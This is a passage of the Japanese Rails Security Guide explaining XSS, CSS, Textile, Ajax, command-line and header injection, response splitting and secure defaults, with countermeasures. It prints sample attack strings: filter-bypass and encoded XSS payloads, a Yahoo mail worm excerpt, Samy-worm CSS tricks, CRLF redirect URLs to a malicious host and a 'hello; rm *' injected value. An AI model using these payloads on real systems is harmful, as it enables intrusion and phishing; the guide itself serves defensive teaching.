特にXSSの場合、ブラックリストではなくホワイトリストに基づいた入力フィルタを実施することが絶対重要です。ホワイトリストフィルタでは特定の値のみが許可され、それ以外の値はすべて拒否されます。ブラックリストを元にしている限り、必ず将来漏れが生じます。

ユーザー入力から「script」という文字を除去するのに使用されているブラックリストがあるとしましょう。それなら攻撃者は次には「<scrscriptipt>」という文字を入力するでしょう。この文字がフィルタされると「<script>」という文字が残ってしまいます。以前のRailsではstrip_tags()、strip_links()、sanitize()メソッドでブラックリスト的アプローチが使用されていました。従って、当時は以下のような攻撃が可能になっていました。

strip_tags("some<<b>script>alert('hello')<</b>/script>")

フィルタから返される「"some<script>alert('hello')</script>」という文字列の攻撃能力は温存されています。だからこそ、筆者はホワイトリストを使用したフィルタリングを推奨しています。ホワイトリストによるフィルタは、Rails 2のアップデートされたsanitize()メソッドで使用されています。

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

この方法なら指定されたタグのみが許可されるため、あらゆる攻撃方法や邪悪なタグに対してフィルタが健全に機能します。

第2段階として、Webアプリからの出力をもれなくエスケープすることが優れた対策となります。これは特に、ユーザー入力の段階でフィルタされなかった文字列がWeb画面に再表示されてしまうようなことがあった場合に有効です。escapeHTML() (または別名のh()) メソッドを使用して、HTML入力文字「&」「"」「<」「>」を、無害なHTML表現形式(&amp;&quot;&lt;&gt;) に置き換えます。

7.3.2.4 攻撃の難読化とエンコーディングインジェクション

従来のネットワークトラフィックは西欧文化圏のアルファベットがほとんどでしたが、それ以外の言語を伝えるためにUnicodeなどの新しいエンコード方式が使用されるようになってきました。しかしこれはWebアプリにとっては新たな脅威となるかもしれません。異なるコードでエンコードされた中に、ブラウザでは処理可能だがサーバーでは処理されないような悪意のあるコードが潜んでいるかもしれないからです。UTF-8による攻撃方法の例を以下に示します。

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

上の例を実行するとメッセージボックスが表示されます。なお、これは上のsanitize()フィルタで認識されます。Hackvertorは文字列の難読化とエンコードを行なう優れたツールであり、「敵を知る」のに最適です。Railsのsanitize()メソッドは、このようなエンコーディング攻撃をかわす働きをします。

7.3.3 実際の攻撃例

近年におけるWebアプリへの攻撃を理解するために、実際の攻撃例をご紹介します。

以下はJs.Yamanner@m Yahoo! Mail ワーム からの抜粋です。この攻撃は2006年6月11日に行われたもので、Webメールインターフェイスを使用するワームの最初の事例です。

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

このワームはYahooのHTML/JavaScriptフィルタの穴をつきました。このフィルタは元来、JavaScriptが仕込まれる可能性のあるtarget属性とonload属性をすべてフィルタするようになっていました。しかし残念ながらこのフィルタは1度しか実行されなかったため、ワームが潜むonload属性が除去されずにそのまま残ってしまいました。この事例から、ブラックリストフィルタが完全になることは永遠にありえないこと、そしてHTML/JavaScriptをWebアプリで許可することに困難が伴う理由をおわかりいただけると思います。

webmailワームの他の概念実証的な事例としてNdujaを取り上げます。詳細についてはRosario Valotta'の論文を参照してください。どちらのwebmailワームもメールアドレスを収集することを目的としており、犯罪的ハッカーが不正な収入を得るのに使われることがあります。

2006年12月、実在する34,000人のユーザー名とパスワードがMySpaceへのフィッシング攻撃によって盗み出されました。この攻撃では「login_home_index_html」という名前をURLに持つプロファイルページが捏造され、それによってこのURLはユーザーからは実にもっともらしく見えました。MySpaceの本物のWebページコンテンツは特殊なHTML/CSSによって覆い隠され、独自の偽ログインページを代りに表示しました。

7.4 CSSインジェクション

CSSインジェクションは実際にはJavaScriptのインジェクションであると言えます。これは、IEや特定のバージョンのSafariなどで、CSSに含まれるJavaScriptの実行が許可されているからです。

CSSインジェクションの説明に最適なのは、かの有名なMySpace Samyワームです。このワームは、攻撃者であるSamyのプロファイルページを開くだけで自動的にSamyに友達リクエストを送信するというものです。他愛もないいたずらだったかもしれませんが、Samyのもとには数時間のうちに百万件以上の友達リクエストが集まり、それによってMySpaceに膨大なトラフィックが発生してサイトがオフラインになってしまいました。以下はこのワームに関する技術的な解説です。

MySpaceでは多くのタグをブロックしていましたが、CSSについては禁止していなかったので、ワームの作者はCSSに以下のようなJavaScriptを仕込みました。

<div style="background:url('javascript:alert(1)')">

ここでスクリプトの正味の部分(ペイロード)はstyle属性に置かれます。一重引用符と二重引用符が既に両方使用されているので、このペイロードでは引用符が使用できません。しかしJavaScriptにはどんな文字列もコードとして実行できてしまうeval()関数があります。この関数は強力ですが危険です。

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

eval()関数はブラックリストベースの入力フィルタの実装者にとっては悪夢のようなものです。この関数を使われてしまうと、たとえば以下のように「innerHTML」という単語をstyle属性に隠しておくことができてしまうからです。

https://github.com/yasslab/railsguides.jp/commit/87a8366968ac1972f44b4803e3841fe2475bf916#r27177568

alert(eval('document.body.inne' + 'rHTML'));

次の問題は、MySpaceは"javascript"という単語をフィルタしていましたが、「java<NEWLINE>script」と書くことでこのフィルタを回避できてしまったことでした。

<div id="mycode" expr="alert('hah!')" style="background:url('java
 script:eval(document.all.mycode.expr)')">

次の問題は、ワームの作者がCSRFセキュリティトークンを利用していたことでした。これがなければ友達リクエストをばらまくということはできない相談だったでしょう。ワーム作者は、ユーザーが追加される直前にページに送信されたGETリクエストの結果を解析してCSRFトークンを得ていました。

最終的に4KBサイズのワームができあがり、作者は自分のプロファイルページにこれを注入しました。

moz-bindingというCSSプロパティは、FirefoxなどのGeckoベースのブラウザではCSS経由でJavaScriptを注入する手段になる可能性があることが判明しています。

7.4.1 対応策

繰り返しますが、ブラックリストによるフィルタは永遠に不完全なままにしかなりません。しかしWebアプリでカスタムCSSを使用できるという機能は非常にまれなので、これに対抗するホワイトリストCSSフィルタというものがあるかどうか筆者は知りません。Webアプリの色や画像をカスタマイズできるようにしたいのであれば、ユーザーに色や画像を選ばせ、Webアプリの側でCSSをビルドするようにしましょう 。ユーザーがCSSを直接カスタマイズできるような作りにはしないでください。どうしても必要であれば、ホワイトリストベースのCSSフィルタとしてRailsのsanitize()メソッドを使用することもできます。

7.5 テキスタイルインジェクション

セキュリティ上の理由からHTML以外のテキストフォーマット機能を提供したいのであれば、何らかのマークアップ言語を採用し、それをサーバー側でHTMLに変換するようにしてください。RedClothはRuby用に開発されたマークアップ言語の一種ですが、気を付けて使用しないとXSSに対しても脆弱になります。

例を挙げます。RedClothは _test_というマークアップを<em>test<em>に変換します。この箇所のテキストはイタリックになります。しかし、執筆当時の最新バージョンである3.0.4までのRedClothはXSSに関しても脆弱でした。この重大なバグを取り除くには最新のバージョン4を入手してください。しかし新しいバージョンにも若干のセキュリティバグがあるため、対応策は未だに欠かせません。バージョン3.0.4の例を以下に示します。

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

テキスタイルプロセッサによって作成されていないHTMLを除去するには、:filter_htmlオプションを使用してください。

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

ただしこのメソッドでは、仕様上一部のHTMLタグ(<a>など)が除去されません。

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
7.5.1 対応策

XSS対応策で既に述べたとおり、RedClothは必ずホワイトリストフィルタと組み合わせて使用してください

7.6 Ajaxインジェクション

通常のWebアプリ開発上で必要となるセキュリティ上の注意と同様の注意がAjaxに対しても必要です。ただし1つ例外があります。ページヘの出力は、アクションがビューをレンダリングしない場合であってもエスケープされている必要があります。

in_place_editorプラグインや、ビューをレンダリングする代りに文字列を返すようなアクションを使用しているのであれば、アクションで返される値を確実にエスケープする必要があります 。もしXSSで汚染された文字列が戻り値に含まれていると、ブラウザで表示されたときに悪意のあるコードが実行されてしまいます。すべての入力値は、h()メソッドを使用してエスケープしてください。

7.7 コマンドラインインジェクション

ユーザーが入力したデータをコマンドラインのオプションに使用する場合は十分に注意してください。

Webアプリが背後のOSコマンドを実行しなければならない場合、Rubyにはexec(コマンド)syscall(コマンド)system(コマンド)、そしてバッククォート記法という方法が用意されています。これのコマンド全体または一部にユーザー入力が使用されるようなことがある場合、特に注意が必要です。これは、ほとんどのシェルでは、コマンドにセミコロン;や垂直バー|を追加することで、別のコマンドを簡単に結合することができてしまうためです。

対応策は、 コマンドラインのパラメータを安全に渡せるsystem(コマンド, パラメータ)メソッドを使用することです。

system("/bin/echo","hello; rm *")
# "hello; rm *"を実行してもファイルは削除されない

7.8 ヘッダーインジェクション

HTTPヘッダは動的に生成されるものであり、特定の状況ではヘッダにユーザー入力が注入されることがあります。これを使用して、にせのリダイレクト、XSS、HTTPレスポンス分割攻撃が行われる可能性があります。

HTTPリクエストヘッダで使用されているフィールドの中にはReferer、User-Agent (クライアント側ソフトウェア)、Cookieフィールドがあります。Responseヘッダーには、たとえばステータスコード、Cookieフィールド、Locationフィールド (リダイレクト先を表す) があります。これらのフィールド情報はユーザー側から提供されるものであり、さほど手間をかけずに操作できてしまいます。これらのフィールドもエスケープするようにしてください。 エスケープが必要になるのは、管理画面でUser-Agentヘッダを表示する場合などが考えられます。

さらに、 ユーザー入力を部分的に元にしたレスポンスヘッダを生成するときに、自分が何をしているのかを正しく知っておくことが重要です。 たとえば、ユーザーを特定のページへリダイレクトして戻したいとします。このとき、"referer"フィールドをフォームに導入して、指定のアドレスにリダイレクトしたとします。

redirect_to params[:referer]

ここで、Railsはその文字列をLocationヘッダフィールドに入れて302(リダイレクト)ステータスをブラウザに送信します。悪意のあるユーザーがこのとき最初に行なうのは、以下のような操作です。

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

Rails 2.1.2より前のバージョン(およびRuby)に含まれるバグが原因で、ハッカーは以下のように任意のヘッダを注入できてしまいます。

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

上のURLにおける"%0d%0a"は"\r\n"がURLエンコードされたものであり、RubyにおけるCRLF文字です。2番目の例では2つ目のLocationヘッダーフィールドが1つ目のものを上書きするため、以下のようなHTTPヘッダーが生成されます。

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

つまり、 ヘッダーインジェクションにおける攻撃方法は、ヘッダーにCRLF文字を注入するというものなのです。 攻撃者は偽のリダイレクトでどんなことができてしまうのでしょうか。攻撃者は、ユーザーをフィッシングサイトにリダイレクトし(フィッシングサイトの見た目は本物そっくりに作っておきます)、ユーザーを再度ログインさせてそのログイン情報を攻撃者に送信することができます。あるいは、フィッシングサイトからブラウザのセキュリティホールを経由して邪悪なソフトウェアを注入することもできます。Rails 2.1.2ではこれらの文字をredirect_toメソッドのLocationフィールドからエスケープするようになりました。 他のヘッダーフィールドでユーザー入力を使用する場合には、CRLFのエスケープを自分で実装することを忘れないようにしてください。

7.8.1 レスポンス分割

ヘッダーインジェクションが実行可能になってしまっている場合、レスポンス分割(response splitting)攻撃も同様に実行可能になっている可能性があります。HTTPのヘッダーブロックの後ろには2つのCRLFが置かれてヘッダーブロックの終了を示し、その後ろに実際のデータ(通常はHTML)が置かれます。レスポンス分割とは、ヘッダーフィールドに2つのCRLFを注入し、その後ろに邪悪なHTMLを配置するという手法です。このときのレスポンスは以下のようになります。

HTTP/1.1 302 Found [最初は通常の302レスポンス]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html


HTTP/1.1 200 OK [ここより下は攻撃者によって作成された次の新しいレスポンス]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [任意の邪悪な入力が
Keep-Alive: timeout=15, max=100         リダイレクト先のページとして表示される]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

特定の状況では、この邪悪なHTMLが標的ユーザーのブラウザで表示されることがあります。ただし、おそらくKeep-Alive接続が有効になっていないとこの攻撃は効かないでしょう。多くのブラウザはワンタイム接続を使用しています。かといって、Keep-Aliveが無効になっていることを当てにするわけにはいきません。これはいずれの場合においても重大なバグです。 ヘッダーインジェクションとレスポンス分割の可能性を排除するため、Railsを2.0.5または2.1.2にアップグレードする必要があります。

8 安全でないクエリ生成

Rackがクエリパラメータを解析(parse)する方法とActive Recordがパラメータを解釈する方法の組み合わせに問題があり、where句がIS NULLのデータベースクエリを本来の意図に反して生成することが可能になってしまっています。(CVE-2012-2660CVE-2012-2694 および CVE-2013-0155) のセキュリティ問題への対応として、Railsの動作をデフォルトでセキュアにするためにdeep_mungeメソッドが導入されました。

deep_mungeが実行されなかった場合に攻撃者に利用される可能性のある脆弱なコードの例を以下に示します。

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

params[:token][nil][nil, nil, ...]['foo', nil]のいずれかの場合、nilチェックをパスするにもかかわらず、where句がIS NULLまたはIN ('foo', NULL)になってSQLクエリに追加されてしまいます。

Railsをデフォルトでセキュアにするために、deep_mungeメソッドは一部の値をnilに置き換えます。リクエストで送信されたJSONベースのパラメータがどのように見えるかを以下の表に示します。

JSON Parameters
{ "person": null } { :person => nil }
{ "person": [] } { :person => [] }
{ "person": [null] } { :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] } { :person => ["foo"] }

リスクと取扱い上の注意を十分理解している場合に限り、deep_mungeをオフにしてアプリを従来の動作に戻すことができます。

config.action_dispatch.perform_deep_munge = false

9 デフォルトのヘッダー

Railsアプリから受け取るすべてのHTTPレスポンスには、以下のセキュリティヘッダーがデフォルトで含まれています。

config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'SAMEORIGIN',
  'X-XSS-Protection' => '1; mode=block',
  'X-Content-Type-Options' => 'nosniff'
}

デフォルトのヘッダーはconfig/application.rbで設定を変更できます。

config.action_dispatch.default_headers = {
  'Header-Name' => 'Header-Value',
  'X-Frame-Options' => 'DENY'
}

あるいはヘッダーを除去することもできます。

config.action_dispatch.default_headers.clear

よく使用されるヘッダーのリストを以下に示します。

  • X-Frame-Options: Railsではデフォルトで'SAMEORIGIN'が指定されます。 - 同一ドメインでのフレーミングを許可します。'DENY'を指定するとすべてのフレーミングが不許可になります。すべてのWebサイトについてフレーミングを許可するには'ALLOWALL'を指定します。
  • X-XSS-Protection: Railsではデフォルトで'1; mode=block'が指定されます。 - XSS攻撃が検出された場合は、XSS Auditorとブロックページを使用してください。XSS Auditorをオフにしたい場合は'0;'を指定します(レスポンスがリクエストパラメータからのスクリプトを含んでいる場合に便利です)。
  • X-Content-Type-Options: 'nosniff' はRailsではデフォルトです。 - ファイルのMIMEタイプをブラウザが推測しないようにします。
  • X-Content-Security-Policy: コンテンツタイプを読み込む元のサイトを制御するための強力なメカニズムです。
  • Access-Control-Allow-Origin: 同一生成元ポリシーのバイパスとクロスオリジン(cross-origin)リクエストをサイトごとに許可します。
  • Strict-Transport-Security: ブラウザからサイトへの接続をセキュアなものに限って許可するかどうかを指定します

10 利用環境のセキュリティ

アプリのコードや実行環境をセキュアにする方法については、本ガイドの範疇を超えます。ただし、config/database.ymlなどに置かれるデータベース接続設定や、config/secrets.ymlなどに置かれるサーバーサイドの秘密鍵のセキュリティは保つようにしてください。これらのファイルや、その他重要な情報を含む可能性のあるファイルを、環境に合わせて複数のバージョンを使い分けることでさらなるアクセス制限を行なうことができます。

10.1 独自のcredential

Railsは、第三者のcredentialをリポジトリに保存するためのconfig/credentials.yml.encを生成します。生成したマスターキーをこのファイルに含めてRailsが暗号化し、config/master.keyを除外したバージョンコントロールシステムに登録することで初めて意味があります。RailsはENV["RAILS_MASTER_KEY"]にマスターキーがあるかどうかもチェックします。またRailsはproduction環境での起動時にcredentialを読み出すためにこのマスターキーを必要とします。

保存したcredentialを編集するにはbin/rails credentials:editを実行します。

このファイルには、アプリのsecret_key_baseがデフォルトで含まれますが、外部API向けのアクセスキーなどのcredentialを含めることもできます。

このファイルに追加されたcredentialにはRails.application.credentialsでアクセスできます。たとえば、復号したconfig/credentials.yml.encファイルに以下があるとします。

secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
some_api_key: SOMEKEY

どの環境でもRails.application.credentials.some_api_keyからSOMEKEYが返ります。

空のキーで例外を発生させたい場合は!を付けます。

Rails.application.credentials.some_api_key! # => raises KeyError: :some_api_key is blank

11 追加資料

激しく移り変わるセキュリティの動向に常に目を配り、最新の情報を入手するようにしてください。新しく登場した脆弱性を見逃すと、壊滅的な損害をこうむる可能性があります。Railsのセキュリティ関連の追加リソースをご紹介します。